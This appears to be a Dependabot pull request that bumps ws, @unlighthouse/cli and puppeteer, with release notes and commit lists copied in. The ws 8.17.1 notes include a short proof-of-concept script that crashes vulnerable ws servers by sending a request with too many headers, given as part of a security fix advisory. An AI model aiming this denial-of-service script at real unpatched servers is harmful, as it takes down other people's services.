Bump ws, @unlighthouse/cli and puppeteer

[dependabot]

Bumps ws to 8.17.1 and updates ancestor dependencies ws, @unlighthouse/cli and puppeteer. These dependencies need to be updated together.

Updates ws from 8.5.0 to 8.17.1

Release notes

Sourced from ws's releases.

8.17.1

Bug fixes

• Fixed a DoS vulnerability (#2231).

A request with a number of headers exceeding the[server.maxHeadersCount][] threshold could be used to crash a ws server.

const http = require('http');
const WebSocket = require('ws');
const wss = new WebSocket.Server({ port: 0 }, function () {
const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split('');
const headers = {};
let count = 0;
for (let i = 0; i < chars.length; i++) {
if (count === 2000) break;
for (let j = 0; j &lt; chars.length; j++) {
  const key = chars[i] + chars[j];
  headers[key] = 'x';
if (++count === 2000) break;
}

}
headers.Connection = 'Upgrade';
headers.Upgrade = 'websocket';
headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ==';
headers['Sec-WebSocket-Version'] = '13';
const request = http.request({
headers: headers,
host: '127.0.0.1',
port: wss.address().port
});
request.end();
});

The vulnerability was reported by Ryan LaPointe in websockets/ws#2230.

In vulnerable versions of ws, the issue can be mitigated in the following ways:

1. Reduce the maximum allowed length of the request headers using the [--max-http-header-size=size][] and/or the [maxHeaderSize][] options so that no more headers than the server.maxHeadersCount limit can be sent.

... (truncated)

Commits

• 3c56601 [dist] 8.17.1
• e55e510 [security] Fix crash when the Upgrade header cannot be read (#2231)
• 6a00029 [test] Increase code coverage
• ddfe4a8 [perf] Reduce the amount of crypto.randomFillSync() calls
• b73b118 [dist] 8.17.0
• 29694a5 [test] Use the highWaterMark variable
• 934c9d6 [ci] Test on node 22
• 1817bac [ci] Do not test on node 21
• 96c9b3d [major] Flip the default value of allowSynchronousEvents (#2221)
• e5f32c7 [fix] Emit at most one event per event loop iteration (#2218)
• Additional commits viewable in compare view

Updates @unlighthouse/cli from 0.10.0 to 0.13.1

Release notes

Sourced from @​unlighthouse/cli's releases.

v0.13.1

Bug Fixes

• ensure configured User-Agent is used (ca2a062), closes #223

v0.13.0

Bug Fixes

• prefer module type by default (9275ae9)
• prefer awaiting networkidle2 on inspecting HTML (643071b)

Features

• update performance columns for all web vitals (b6fc477), closes #222

v0.12.2

Bug Fixes

• allow npx unlighthouse-ci global usage (0c6a0eb)
• check for valid cache removal when running with no cache (4cbb47c)
• record sessionStorage when authenticating (9fec05f)
• remove protocolTimeout (383f246), closes #202
• remove puppeteer startup timeout (e2ae165)
• support basic auth with LHCI (bcb1bc6), closes #214
• use latest chrome as fallback browser (d678a05)

v0.12.1

Bug Fixes

• set default puppeteer-cluster timeout to 120s (560b42f)

v0.12.0

Lighthouse v12

This version is updated to use the latest version of Lighthouse - v12. Please see the release notes for further details.

Bug Fixes

• client: add fetch time to result row (9c5de2c), closes #211
• report completed % accurately (5524701)
• safer directory cache removal (720dc9d), closes #200

... (truncated)

Commits

• ac305f7 chore: release v0.13.1
• 82528c3 chore: bump deps
• ca2a062 fix: ensure configured User-Agent is used
• 8a79f62 chore: release v0.13.0
• 9275ae9 fix: prefer module type by default
• b6fc477 feat: update performance columns for all web vitals
• 11e0f79 chore: bump deps
• 643071b fix: prefer awaiting networkidle2 on inspecting HTML
• d9d83d6 chore: release v0.12.2
• 3d3ffdc chore: fix build
• Additional commits viewable in compare view

Updates puppeteer from 21.5.1 to 22.11.2

Release notes

Sourced from puppeteer's releases.

puppeteer-core: v22.11.2

22.11.2 (2024-06-18)

Bug Fixes

• deps: bump ws to 8.17.1 (#12605) (49bcb25)

puppeteer: v22.11.2

22.11.2 (2024-06-18)

Miscellaneous Chores

• puppeteer: Synchronize puppeteer versions

Dependencies

• The following workspace dependencies were updated
  • dependencies
    • puppeteer-core bumped from 22.11.1 to 22.11.2

puppeteer-core: v22.11.1

22.11.1 (2024-06-17)

Bug Fixes

• connection closed error should be a rejected promise (#12575) (e36ce8b)
• ensure selector parser falls back to CSS (#12585) (80783fe)
• implement nested selector parsing (#12587) (3874300)
• roll to Chrome 126.0.6478.61 (r1300313) (#12586) (772e088)

puppeteer: v22.11.1

22.11.1 (2024-06-17)

Miscellaneous Chores

• puppeteer: Synchronize puppeteer versions

Dependencies

• The following workspace dependencies were updated
  • dependencies
    • puppeteer-core bumped from 22.11.0 to 22.11.1

puppeteer-core: v22.11.0

... (truncated)

Commits

• 92707ae chore: release main (#12606)
• ac06674 Revert "chore(deps-dev): Bump @​swc/core from 1.5.25 to 1.6.0 in /website in t...
• 49bcb25 fix(deps): bump ws to 8.17.1 (#12605)
• fea43a9 chore(deps-dev): Bump the dev-dependencies group across 1 directory with 9 up...
• a26dcfd chore(deps-dev): Bump @​swc/core from 1.5.25 to 1.6.0 in /website in the all g...
• 0cba2b4 build: explicitly set typeRoots (#12599)
• 9e12673 chore: release main (#12596)
• 3874300 fix: implement nested selector parsing (#12587)
• 80783fe fix: ensure selector parser falls back to CSS (#12585)
• 772e088 fix: roll to Chrome 126.0.6478.61 (r1300313) (#12586)
• Additional commits viewable in compare view

Maintainer changes

This version was pushed to npm by google-wombot, a new releaser for puppeteer since your current version.

Dependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting @dependabot rebase.

---

Dependabot commands and options

You can trigger Dependabot actions by commenting on this PR:

• @dependabot rebase will rebase this PR
• @dependabot recreate will recreate this PR, overwriting any edits that have been made to it
• @dependabot merge will merge this PR after your CI passes on it
• @dependabot squash and merge will squash and merge this PR after your CI passes on it
• @dependabot cancel merge will cancel a previously requested merge and block automerging
• @dependabot reopen will reopen this PR if it is closed
• @dependabot close will close this PR and stop Dependabot recreating it. You can achieve the same result by closing it manually
• @dependabot show <dependency name> ignore conditions will show all of the ignore conditions of the specified dependency
• @dependabot ignore this major version will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)
• @dependabot ignore this minor version will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)
• @dependabot ignore this dependency will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)
  You can disable automated security fix PRs for this repo from the Security Alerts page.